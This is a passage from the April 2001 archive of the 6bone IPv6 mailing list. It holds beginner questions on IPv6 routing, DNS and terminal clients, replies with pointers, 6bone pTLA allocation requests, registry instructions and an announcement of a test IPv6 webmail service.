   with Routing?
       

        The World is Full of Beauty
                   When
         The Heart is Full of Love

     Stop Violence and Discrimination
             Save Our Earth  &
          Re-Foresting Start Here

 *****************************************
( *           God Bless Us !            * )
(  ** ()                           () **  )
( *     :> ATMA Hs_BUANA Jr.Inc. <:     * )
 *****************************************



From 6bone-owner  Tue Apr  3 02:01:31 2001
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Date: Tue, 3 Apr 2001 16:01:18 +0700 (JAVT)
From: Sahatma NP Hasibuan <sahatma@students.itb.ac.id>
To: 6bone@ISI.EDU
Subject: Routing IPv6
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Where can I get documentation, source, implementation about Routing IPv6
and I use FreeBSD.

Thanks. 

        The World is Full of Beauty
                   When
         The Heart is Full of Love

     Stop Violence and Discrimination
             Save Our Earth  &
          Re-Foresting Start Here

 *****************************************
( *           God Bless Us !            * )
(  ** ()                           () **  )
( *     :> ATMA Hs_BUANA Jr.Inc. <:     * )
 *****************************************



From 6bone-owner  Tue Apr  3 04:04:31 2001
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From: Peter.White@nokia.com
To: sahatma@students.itb.ac.id, ipng@sunroof.eng.sun.com
Cc: 6bone@ISI.EDU
Subject: RE: Implementation Routing IPv6
Date: Tue, 3 Apr 2001 14:04:19 +0300 
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Hi,

Try http://hs247.com , http://www.bieringer.de/linux/IPv6/index.html or one
of the many howto's as described earlier. Get a good understanding of IPv6,
install it on your machine and create a tunnel, possibly to
http://www.freenet6.net and try it out. There are any free routers which can
be run under FreeBSD such as zebra (http://www.zebra.org) and mrtd
(http://www.mrtd.net.

For articles and info, try the RFCs or google for IPv6, whitepapers or
whatever.

Try them out, if they don't work, post a question on here.

PW

> -----Original Message-----
> From: ext Sahatma NP Hasibuan [mailto:sahatma@students.itb.ac.id]
> Sent: 03 April, 2001 3:57
> To: ipng@sunroof.eng.sun.com
> Cc: 6bone@ISI.EDU
> Subject: Implementation Routing IPv6
> 
> 
> 
> I have a final project (as a requirement to pass my Bachelor 
> degree) about
> implementation IPv6 in my Telematic Lab. (LAN) at Bandung Institute of
> Technology (Indonesia) majoring in Routing by using FreeBSD (v4.2)
> paltform.
> 
> 1. But, first I have no idea what I should do first.
>    Please, help me to know the step-by-step or tips and tricks.
> 
> 2. I have no experience in IPv6 especially at socket
>    programming. 
>    Do I have to learn and use it to implement routing IPv6?
> 
> 3. I have read some articel/presentation/publication about 
> overview IPv6
>    from internet. I think it's not enough to get acknowledge in IPv6.
> 
> 4. I have no book reference about IPv6. It needs too much money to buy
>    IPv6 book from Internet because of economic crisis in my country.
>    Anyone can tell me how to get it with a low price or maybe 
> free :)?  
>    
> 5. If I have to use routing protocol what kind of routing 
> protocol I can
>    use (RIP, OSPF, IGRP, BGP, IS-IS) and where I can get the source
>    code/software related to it.
> 
> 6. Does DNS or Multihoming have realtion to Routing aspect?
>    If yes, can you tell me what does DNS and Multihoming mean 
> specially 
>    with Routing?
>        
> 
>         The World is Full of Beauty
>                    When
>          The Heart is Full of Love
> 
>      Stop Violence and Discrimination
>              Save Our Earth  &
>           Re-Foresting Start Here
> 
>  *****************************************
> ( *           God Bless Us !            * )
> (  ** ()                           () **  )
> ( *     :> ATMA Hs_BUANA Jr.Inc. <:     * )
>  *****************************************
> 
> 

From 6bone-owner  Tue Apr  3 06:48:25 2001
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Date: Tue, 03 Apr 2001 06:46:27 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for NTT-ECL - review closes 17 Apr 2001
Cc: "Shirou NIINOBE [raccoon]" <nin@ipv6.nttwestlabs.net>
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6bone Folk,

NTT-ECL has requested a pTLA allocation for the west of Japan. The open 
review period for this will close 17 Apr 2001. Please send your comments to 
me or the list.


Thanks,

Bob

============================================
>To: fink@es.net
>Cc: t.motono@rdc.west.ntt.co.jp, t.marushima@rdc.west.ntt.co.jp,
>    asai.h@rdc.west.ntt.co.jp, s.esaki@rdc.west.ntt.co.jp,
>    h.yamaguchi@rdc.west.ntt.co.jp, soejima.s@west.ntt.co.jp,
>    m.takahashi@west.ntt.co.jp, a.aratani@west.ntt.co.jp,
>    h.utsumi@west.ntt.co.jp
>Subject: pTLA request
>Date: Tue, 03 Apr 2001 10:45:20 +0900
>From: "Shirou NIINOBE [raccoon]" <nin@ipv6.nttwestlabs.net>
>
>
>Dear Sir,
>
>  This is Shirou NIINOBE from NTT West Research and Development Center
>  in Japan, we reqest to allocate a pTLA address block.
>
>  We have got pNLA(3ffe:1803:d000::/40) from NTT-ECL and have been operating
>  this network since November 2000.
>
>================================
>[request form of pTLA]
>================================
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.  During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>--
>[A]
>We have connected to 6bone as below.
>  - SLA of NTT-ECL since 20000804.
>  - NLA of NTT-ECL since 20001117.
>         inet6num:  3ffe:1803:D000::/40
>         NETNAME:   NTT-WEST
>--
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>---
>[A]
>Now, we connected to NTT-ECL with native link using BGP4+. We have a plan
>to connect to NSPIXP6(IPv6 Internet Exchange in Japan) in the future.
>
>Our ipv6 router's FQDN is PF-gw.ipv6.nttwestlabs.net (3ffe:1803:d000:0:2d0:
>b7ff:fe9a:68f9), and it is IPv6 pingable (not IPv4 pingable).
>---
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>---
>[A]
>We maintain nameserver forward (AAAA) and reverse (ip6.int) entries on
>ns1.ipv6.nttwestlabs.net.
>---
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>---
>[A]
>Our web server's FQDN is  www.ipv6.nttwestlabs.net.
>It is accessible from both IPv4 and IPv6.
>---
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>---
>[A]
>NTT-WEST IPv6 network support staff are following.
>  - Shirou NIINOBE   (SN1-6BONE)
>  - Hirotaka ASAI    (HA2-6BONE)
>  - Hitoshi MORIYAMA (HM3-6BONE)
>---
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>---
>[A]
>Our common e-mail address is ipv6@ipv6.nttwestlabs.net.
>---
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>---
>[A]
>NTT West is the largest telecommunication campany in west of Japan which
>operates all cities including Osaka, Kyoto, Nagoya, Fukuoka, Hiroshima
>and so on.
>Research and Development Center have built IPv6 testbed network, and we
>would like to connect to potential customer by tunnel or native.
>Currently, we have built IPv6 testbed network with PC(FreeBSD+kame) routers,
>GR2000-4S(HITACHI), IX5010(NEC).
>---
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>---
>[A]
>We agree the 6bone rules and policies.
>---
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.
>
>================================
>
>Best regards,
>-----
>Shirou NIINOBE
>NTT West R&D Center
-end


From 6bone-owner  Tue Apr  3 10:15:16 2001
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Reply-To: "Todd Whipple" <twhipple@zama.net>
From: "Todd Whipple" <whipple@zama.net>
To: "R. Flidersan" <flider@ltrgm.ee.itb.ac.id>, <6bone@ISI.EDU>
References: <Pine.LNX.4.10.10104031131370.20408-100000@ltrgm.ee.itb.ac.id>
Subject: Re: DNS For IPv6
Date: Tue, 3 Apr 2001 10:15:05 -0700
Organization: Zama Networks, Inc.
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You can go to www.zamanetworks.com and look under technical documents.  


Todd Whipple

----- Original Message ----- 
From: "R. Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: <6bone@ISI.EDU>
Sent: Monday, April 02, 2001 9:33 PM
Subject: DNS For IPv6


> 
> where i can get a documenation of configurung an IPv6 DNS on Unix
> 
> thank you
> 
> 


From 6bone-owner  Tue Apr  3 14:17:32 2001
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Date: Tue, 3 Apr 2001 14:06:01 -0700
From: Josh Richards <jrichard@cubicle.net>
To: 6bone@ISI.EDU
Subject: Re: the IOS is incorrect?
Message-ID: <20010403140601.A30475@datahaven.freedom.gen.ca.us>
References: <20010329172217.1>
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* vv00@eazier.com <vv00@eazier.com> [20010329 03:20]:
> now i install the IOS which version is c3640-is-mz.19991126,I have applied
> a tunnel to the 6bone site,now i can't ping the remote end of tunnel,i 
> think maybe it is because the IOS have some bugs in it,or maybe my network 
> has some problem.
>    if someone have some good ideas about it ,pls contact with me ,thank you
> in advance!

Two things:
  (1) some more info such as the output of "show ipv6 route" would be useful
      if you want the list to help you out more.
  (2) You are running a really a old IOS IPv6 release.  Grab a new one from
      <URL:http://www.cisco.com/ipv6/> and re-attempt testing the 6bone 
      tunnel.

-jr

----
Josh Richards [JTR38/JR539-ARIN] - jrichard @ { geekresearch.com, cubicle.net }
Geek Research LLC - <URL:http://www.geekresearch.com/> - IP Network Engineering
I am available for contract on IP/ISP/telco related projects! [see URL]


From 6bone-owner  Tue Apr  3 14:25:37 2001
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Date: Tue, 3 Apr 2001 14:14:07 -0700
From: Josh Richards <jrichard@cubicle.net>
To: 6bone@ISI.EDU
Subject: Re: your mail
Message-ID: <20010403141406.B30475@datahaven.freedom.gen.ca.us>
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* indra@marmoset.net <indra@marmoset.net> [20010330 21:46]:
> 
> hi! can anybody help in this:  configuring bgp on a linux 2.2.16-IPv6
> enabled router. i am using zebra 0.90, but having problems. the daemon is
> running and receiving connections from its peer on the other side of an
> IPv6 tunnel, but is not advertising the reachability information of the
> local network. tried all docs, manuals etc. but it does not help. zebra
> suite gets installed fine, but this problem repeats even with zebra 0.91.
> any help or pointers, thanks in advance.

Your BGP config would be helpful.  Post the config to the list. :)

Without knowing what you have: make sure you are using "network" statements 
and/or redistributing so that the local networks can actually get into BGP.

How do you know that it is not advertising the information to your neighbor?
That is, are you sure the neighbor is not just filtering it by accident?

-jr 

----
Josh Richards [JTR38/JR539-ARIN] - jrichard @ { geekresearch.com, cubicle.net }
Geek Research LLC - <URL:http://www.geekresearch.com/> - IP Network Engineering
I am available for contract on IP/ISP/telco related projects! [see URL]


From 6bone-owner  Tue Apr  3 16:28:43 2001
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Date: Tue, 03 Apr 2001 16:28:36 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: CORRECTION: pTLA request for NTT-WEST - review closes 17 Apr
  2001
Cc: "Shirou NIINOBE [raccoon]" <nin@ipv6.nttwestlabs.net>
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6bone Folk,

NTT-WEST (not NTT-ECL as I accidentally stated in my previous email) has 
requested a pTLA allocation for the west of Japan. The open review period 
for this will close 17 Apr 2001. Please send your comments to me or the list.


Thanks,

Bob

============================================
To: fink@es.net
Cc: t.motono@rdc.west.ntt.co.jp, t.marushima@rdc.west.ntt.co.jp,
    asai.h@rdc.west.ntt.co.jp, s.esaki@rdc.west.ntt.co.jp,
    h.yamaguchi@rdc.west.ntt.co.jp, soejima.s@west.ntt.co.jp,
    m.takahashi@west.ntt.co.jp, a.aratani@west.ntt.co.jp,
    h.utsumi@west.ntt.co.jp
Subject: pTLA request
Date: Tue, 03 Apr 2001 10:45:20 +0900
From: "Shirou NIINOBE [raccoon]" <nin@ipv6.nttwestlabs.net>


Dear Sir,

  This is Shirou NIINOBE from NTT West Research and Development Center
  in Japan, we reqest to allocate a pTLA address block.

  We have got pNLA(3ffe:1803:d000::/40) from NTT-ECL and have been operating
  this network since November 2000.

================================
[request form of pTLA]
================================
7. Guidelines for 6Bone pTLA sites

    The following rules apply to qualify for a 6Bone pTLA allocation. It
    should be recognized that holders of 6Bone pTLA allocations are
    expected to provide production quality backbone network services for
    the 6Bone.

    1. The pTLA Applicant must have a minimum of three (3) months
       qualifying experience as a 6Bone end-site or pNLA transit.  During
       the entire qualifying period the Applicant must be operationally
       providing the following:

       a. Fully maintained, up to date, 6Bone Registry entries for their
          ipv6-site inet6num, mntner, and person objects, including each
          tunnel that the Applicant has.
--
[A]
We have connected to 6bone as below.
  - SLA of NTT-ECL since 20000804.
  - NLA of NTT-ECL since 20001117.
         inet6num:  3ffe:1803:D000::/40
         NETNAME:   NTT-WEST
--

       b. Fully maintained, and reliable, BGP4+ peering and connectivity
          between the Applicant's boundary router and the appropriate
          connection point into the 6Bone. This router must be IPv6
          pingable. This criteria is judged by members of the 6Bone
          Operations Group at the time of the Applicant's pTLA request.
---
[A]
Now, we connected to NTT-ECL with native link using BGP4+. We have a plan
to connect to NSPIXP6(IPv6 Internet Exchange in Japan) in the future.

Our ipv6 router's FQDN is PF-gw.ipv6.nttwestlabs.net (3ffe:1803:d000:0:2d0:
b7ff:fe9a:68f9), and it is IPv6 pingable (not IPv4 pingable).
---

       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
          entries for the Applicant's router(s) and at least one host
          system.
---
[A]
We maintain nameserver forward (AAAA) and reverse (ip6.int) entries on
ns1.ipv6.nttwestlabs.net.
---

       d. A fully maintained, and reliable, IPv6-accessible system
          providing, at a mimimum, one or more web pages, describing the
          Applicant's IPv6 services.  This server must be IPv6 pingable.
---
[A]
Our web server's FQDN is  www.ipv6.nttwestlabs.net.
It is accessible from both IPv4 and IPv6.
---

    2. The pTLA Applicant MUST have the ability and intent to provide
       "production-quality" 6Bone backbone service. Applicants must
       provide a statement and information in support of this claim.
       This MUST include the following:

       a. A support staff of two persons minimum, three preferable, with
          person attributes registered for each in the ipv6-site object
          for the pTLA applicant.
---
[A]
NTT-WEST IPv6 network support staff are following.
  - Shirou NIINOBE   (SN1-6BONE)
  - Hirotaka ASAI    (HA2-6BONE)
  - Hitoshi MORIYAMA (HM3-6BONE)
---

       b. A common mailbox for support contact purposes that all support
          staff have acess to, pointed to with a notify attribute in the
          ipv6-site object for the pTLA Applicant.
---
[A]
Our common e-mail address is ipv6@ipv6.nttwestlabs.net.
---

    3. The pTLA Applicant MUST have a potential "user community" that
       would be served by its becoming a pTLA, e.g., the Applicant is a
       major provider of Internet service in a region, country, or focus
       of interest. Applicant must provide a statement and information in
       support this claim.
---
[A]
NTT West is the largest telecommunication campany in west of Japan which
operates all cities including Osaka, Kyoto, Nagoya, Fukuoka, Hiroshima
and so on.
Research and Development Center have built IPv6 testbed network, and we
would like to connect to potential customer by tunnel or native.
Currently, we have built IPv6 testbed network with PC(FreeBSD+kame) routers,
GR2000-4S(HITACHI), IX5010(NEC).
---

    4. The pTLA Applicant MUST commit to abide by the current 6Bone
       operational rules and policies as they exist at time of its
       application, and agree to abide by future 6Bone backbone
       operational rules and policies as they evolve by consensus of the
       6Bone backbone and user community.
---
[A]
We agree the 6bone rules and policies.
---

    When an Applicant seeks to receive a pTLA allocation, it will apply
    to the 6Bone Operations Group (see section 8 below) by providing to
    the Group information in support of its claims that it meets the
    criteria above.

================================

Best regards,
-----
Shirou NIINOBE
NTT West R&D Center
-end


From 6bone-owner  Thu Apr  5 11:58:42 2001
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Reply-To: "Todd Whipple" <twhipple@zama.net>
From: "Todd Whipple" <whipple@zama.net>
To: <6bone@ISI.EDU>, <members@ipv6forum.com>, <users@ipv6.org>,
        <linux-ipv6@list.f00f.org>, <ipng@sunroof.eng.sun.com>,
        <ngtrans@sunroof.eng.sun.com>
Subject: Announcing IPv6 email
Date: Thu, 5 Apr 2001 11:58:30 -0700
Organization: Zama Networks, Inc.
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Zama is pleased to announce that we have put an IPv6 web based email service
on our web site.  Everyone is welcome to try it out and encouraged to do so.
You can get to it from www.zamanetworks.com and click on Zama Mail.  We have
detailed FAQ's on our site explaining what this does and what it is for.
Here is a brief description.

1.  This service is for testing purposes, therefore you may experience
outages due to patching the OS, applications, etc.  We will try to keep that
to a minimal amount.
2.  You can only access the web based email application if you are coming
from an IPv6 address.
3.  You can send to and receive email from IPv4 or IPv6.
4.  Currently this only works over SSL.  Since this is only a test system,
we are currently using a self signed certificate.  If this service becomes
popular, we will purchase a certificate from Verisign.
5.  And since this is our Beta release, it is FREE.

Since this is our first release of this, we welcome any and all comments,
suggestions, bugs, etc.  We have an address you can send to on our web site
or you can send me any questions and comments directly.

I am looking forward to everyone's experience and response to this.


Todd Whipple
VP of IPv6 Technologies
Zama Networks, Inc.
Seattle, Wa.


From 6bone-owner  Fri Apr  6 01:38:47 2001
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Subject: Connectivity to 6bone.
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Hello all..

Wanted to connect my network to the 6 Bone net.
Could anyone please give me pointers regarding how to go about doing this.

Thanks and Regards,
Sandy.



From 6bone-owner  Fri Apr  6 06:36:20 2001
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Date: Fri, 06 Apr 2001 09:35:11 -0400
To: "Jiwoong Lee" <porce@n016.co.kr>
From: Jocelyn Picard <Jocelyn.Picard@viagenie.qc.ca>
Subject: Re: Registry database problem
Cc: registry@viagenie.qc.ca, 6bone-kr@6bone.ne.kr, 6bone@ISI.EDU,
        syl@pec.etri.re.kr, Fink@es.net
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At 02:50 PM 06/04/2001 +0900, you wrote:
>Registry manger and all folks,
>
>I have a 6bone-registry registraion problem and would like to ask a very
>instructive help.
>
>To achieve the 6bone connectivity and to obey the 6bone community rule, I
>tried to register myself and my network info stuff.
>
>First I tried to register myname with <person> field via web interface[1].
>Since I don't have idea what is <mnt-by> for me, I failed. Then using the
>unpreferred way - emaling[2] - I succeeded to create a new <person> field.
>Again back to the web-interface, I tried to create <mntner> field without
>known <mnt-by> value. According to the authorization model stated in [3],
>the <mnt-mnt> attribute should have been created even without <man-by>
>attribute. However, registry DB program gave me a short, and unkind reply:
>
>---
>Acknowledgement from your request:
>
>The object mntner does not have a MNT-BY attribute. All object MUST have a
>maintainer.
>Please go back and provide one.
>---

Hello,
        the steps are:

 1- create a PERSON object. Since you don't have a MNTNER object yet,
   don't put anything in the mnt-by field.

 2- create a MNTNER object. The name you'll choose will be the same you'll use
   for the mnt-by field (you're creating a self-maintained MNTNER object).
   You will receive a warning message (that looks more like an error message)
   saying your request will be handled manually.

 3- wait for an email saying your MNTNER object has been created (that can take
   several hours)

 4- now that you have a MNTER object,  edit your PERSON object 
   (created in the first step) and fill out the mnt-by attribute using
   MNTNER object  created in step #2
      
Jocelyn
ps: a web form will simplify those steps in the near future.



--
Jocelyn Picard                     Jocelyn.Picard@viagenie.qc.ca
Viagénie inc.                      http://www.viagenie.qc.ca
2875, boul. Laurier, bur. 300      
Ste-Foy (Québec) Canada  G1V 2M2
PGP: 6D9C 450D 4B27 E920 69D2 619D 7C15 8269 B7B9 D2B8


From 6bone-owner  Mon Apr  9 08:47:55 2001
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Date: Mon, 09 Apr 2001 08:47:26 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:81A0::/28 allocated to FUBAR (BEST.CA)
Cc: Bill Manning <bmanning@ISI.EDU>, Richard Furda <riso@best.ca>
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FUBAR (BEST.CA) has been allocated pTLA 3FFE:81A0::/28 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?fubar>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Mon Apr  9 08:53:24 2001
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Date: Mon, 9 Apr 2001 17:52:52 +0200 (GMT-2)
From: Andrius Kasparavicius <andrius@andrius.org>
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Subject: broken SICS<->STEALTH ?
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 hello, I think ipv6 link between SICS and STEALTH should be taken up:

traceroute6 to bx2.ny1.stealth.net (3ffe:80c0:200:0:250:b7ff:fe14:21a7)
from 3ffe:200:1:2d::2, 30 hops max, 16 byte packets
 1  3ffe:80e1:8000:c::2 (3ffe:80e1:8000:c::2)  136.98 ms  121.388 ms
68.982 ms
 2  sics-if.6r1.doc.london.ip6.pipex.net (3ffe:1100:0:c06::1)  163.353 ms
* *
 3  sics-if.6r1.doc.london.ip6.pipex.net (3ffe:1100:0:c06::1)  180.213 ms
!H *  120.879 ms !H

the same betweeen SICS and VIAGENIE.. and maybe more?

traceroute6 to 3ffe:1100:0:c06::1 (3ffe:1100:0:c06::1) from
3ffe:b00:c18::3b, 30 hops max, 16 byte packets
 1  * 3ffe:b00:c18::3a (3ffe:b00:c18::3a)  778.981 ms  1129.91 ms
 2  3ffe:1830:0:ffff::2 (3ffe:1830:0:ffff::2)  1476.95 ms  1928.43 ms
1903.94 ms
 3  * * *
 4  * * *
 5  * * *
 6  *



                                              -------------------------
                                                Kasparavicius Andrius
________________________________________________________________________
http://www.andrius.org  ICQ:17701001  tel.: +370 87 25630 nick: Casper
AND-RIPE AND-6BONE KA6010



From 6bone-owner  Mon Apr  9 11:07:19 2001
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Reply-To: "Todd Whipple" <twhipple@zama.net>
From: "Todd Whipple" <whipple@zama.net>
To: <6bone@ISI.EDU>, <members@ipv6forum.com>, <users@ipv6.org>,
        <linux-ipv6@list.f00f.org>, <ipng@sunroof.eng.sun.com>,
        <ngtrans@sunroof.eng.sun.com>
Subject: IPv6 mail archives -- version 1
Date: Mon, 9 Apr 2001 11:06:57 -0700
Organization: Zama Networks, Inc.
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Zama has just put a web based mail archive of several of the IPv6 mailing
lists on our website (www.zamanetworks.com).  Follow the link to Mail
Archives.  These lists are:

6 Bone Participants
6 Bone Users
Next Generation Transition
IPfilter
IETF DNS Operations

We will be adding more lists to this as time goes on.  Also, if anyone has
any suggestions or would like to see a list archived here (as long as it is
related to IPv6), please send me any comments and suggestions.

The archives only go back to March 2001.  We will be trying to get as much
archives from the list owners and get historic data in place.

Hope all find this useful.


Todd Whipple
VP of IPv6 Technologies
Zama Networks, Inc
Seattle, Wa.


From 6bone-owner  Mon Apr  9 15:37:21 2001
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Date: Mon, 9 Apr 2001 19:37:11 -0300 (ADT)
From: Thomas Keats <tkeats@rainbowcomputersystems.com>
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To: Todd Whipple <whipple@zama.net>
cc: 6bone@ISI.EDU, members@ipv6forum.com, users@ipv6.org,
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I am in the midst of learning all this and it seems a little foreboding.

Is there a 'SIMPLE' step by step guide in what i need to download in order
to be able to ping ipv6 etc...?

i Do already have bind 9.1.x .. although i have yet to set it up

slackware 7.1 is my OS/linux

Many thanks in advance.
Thomas Keats


Rainbow Computer Systems
http://www.rainbowcomputersystems.com
Your source for Linux Compatible Hardware.

-------- Compatibility Statement. --------

We read formats created in .txt wordperfect,
and MSWord97 or earlier, all other communications 
will be filtered out and 'misplaced'
Thank you for your co-operation.




From 6bone-owner  Mon Apr  9 18:13:46 2001
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Date: Mon, 09 Apr 2001 18:12:48 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for HURRICANE (he.net) - review closes 23 Apr 2001
Cc: samh <samh@he.net>
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6bone Folk,

HURRICANE (he.net) has requested a pTLA allocation. The open review period 
for this will close 23 Apr 2001. Please send your comments to me or the list.


Thanks,

Bob

============================================
>Date: Mon, 9 Apr 2001 17:33:34 -0700 (PDT)
>From: samh <samh@he.net>
>To: fink@es.net
>Subject: pTLA Request
>
>Sir,
>Please find our request for a pTLA below.
>
>Thank you for your time,
>Sam Hazel
>
>***----------***------<<HURRICANE ELECTRIC>>-----***----------***
>Sam Hazel                         Web Hosting
>Network Engineer                  Colocated and Dedicated Servers
>samh@he.net                       www.he.net
>                                   510.580.4100
>***-----------------------------------------------------------***
>
>
>
>============================================================================
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>ipv6-site: HURRICANE
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>
>Our BGP4+ session with DIGITAL is reliable on the router rtr1.ipv6.he.net
>
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>We have fully maintained DNS records on ns1.ipv6.he.net and 
>ns2.ipv6.he.net for
>all our IPv6 machines as well as our tunnels.  A host system you can check 
>this
>against is ipv6.he.net.
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>Please see the server ipv6.he.net
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>Gary Shaver and Sam Hazel
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>noc@he.net
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>We are a tier 1 ISP with a nationwide US network serving a vibrant 
>community of
>developers and hosts.   We currently have a tunnel broker
>(http://ipv6tb.he.net) with 50+ tunnels and growing and an active IPv6
>development staff with a vested interest in seeing IPv6 grow.
>
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>We agree to abide by the current 6Bone operational rules and policies, and
>future operational rules/policies.
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.
>
>=========================================================================



From 6bone-owner  Tue Apr 10 05:49:26 2001
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Date: Tue, 10 Apr 2001 13:49:49 +0100
From: Hobbes tiger extrordinare <orly@redbrick.dcu.ie>
To: 6bone@ISI.EDU
Subject: Tera Term and IPv6
Message-ID: <20010410134949.A97842@enigma.redbrick.dcu.ie>
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Hi there, 
  I'm trying to get Tera Term to work over IPv6. It works with IPv4 alright, 
and I was wondering is the syntax of the IPv6 address the problem? Or must I
have a domain name associated with the IPv6 address in order to connect using
telnet or ssh over IPv6?
  thanks, and regards,
   Orla
 
-- 
orly:Well it has to be done, how else will I show how the tunnel works? :)
mike:With the aid of digrams, a working model, and some hard hats ;)
orly:I asked for that :)
   - getting help with my IPv6 project report from sandman 

From 6bone-owner  Tue Apr 10 09:43:28 2001
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To: Hobbes tiger extrordinare <orly@redbrick.dcu.ie>
CC: 6bone@ISI.EDU
Subject: Re: Tera Term and IPv6
References: <20010410134949.A97842@enigma.redbrick.dcu.ie>
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Hobbes tiger extrordinare wrote:
> 
> Hi there,
>   I'm trying to get Tera Term to work over IPv6. It works with IPv4 alright,
> and I was wondering is the syntax of the IPv6 address the problem? Or must I
> have a domain name associated with the IPv6 address in order to connect using
> telnet or ssh over IPv6?
>   thanks, and regards,
>    Orla
> 

It won't!!!   The program has to be explicitly written to support IPv6.

Jim
-- 
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    -- Luiz de Barros

From 6bone-owner  Tue Apr 10 10:41:27 2001
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Date: Tue, 10 Apr 2001 18:43:06 +0100
From: Hobbes tiger extrordinare <orly@redbrick.dcu.ie>
To: 6bone@ISI.EDU
Subject: Re: Tera Term and IPv6
Message-ID: <20010410184306.A61358@enigma.redbrick.dcu.ie>
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On Tue, Apr 10, 2001 at 06:29:04PM +0200, Jeroen Massar wrote:
> Hobbes tiger extrordinare wrote:
Hi,
> You should use the one from http://win6.goto.info.waseda.ac.jp/TeraTerm/index.html
> There is the full information and also the latest version...
> You could also try PuTTY which has IPv6 support in the CVS tree see:
> http://www.chiark.greenend.org.uk/~sgtatham/putty/ or
> http://unfix.org/projects/ipv6/ for precompiled versions...

  Oh thank god! I was hoping that Putty was IPv6 compliant, but I couldn't
find a link to it :)
  Thank you so much.
   orly

 

-- 
orly:Well it has to be done, how else will I show how the tunnel works? :)
mike:With the aid of digrams, a working model, and some hard hats ;)
orly:I asked for that :)
   - getting help with my IPv6 project report from sandman 

From 6bone-owner  Tue Apr 10 10:44:07 2001
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Date: Tue, 10 Apr 2001 18:45:43 +0100
From: Hobbes tiger extrordinare <orly@redbrick.dcu.ie>
To: Kimmo Suominen <kim@tac.nyc.ny.us>
Cc: 6bone@ISI.EDU
Subject: Re: Tera Term and IPv6
Message-ID: <20010410184543.C61358@enigma.redbrick.dcu.ie>
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On Tue, Apr 10, 2001 at 12:59:45PM -0400, Kimmo Suominen wrote:
> It works wonderfully using domain names (since I use automatic address
> assignment using router solicitation messages the addresses would be
> just too difficult to remember).

  yeah, but I unfortunately don't have a domain of my own - I'm in University
:), so I don't have an IPv6 DNS.
 
> It also seems to work fine with the "usual" numeric form of enclosing
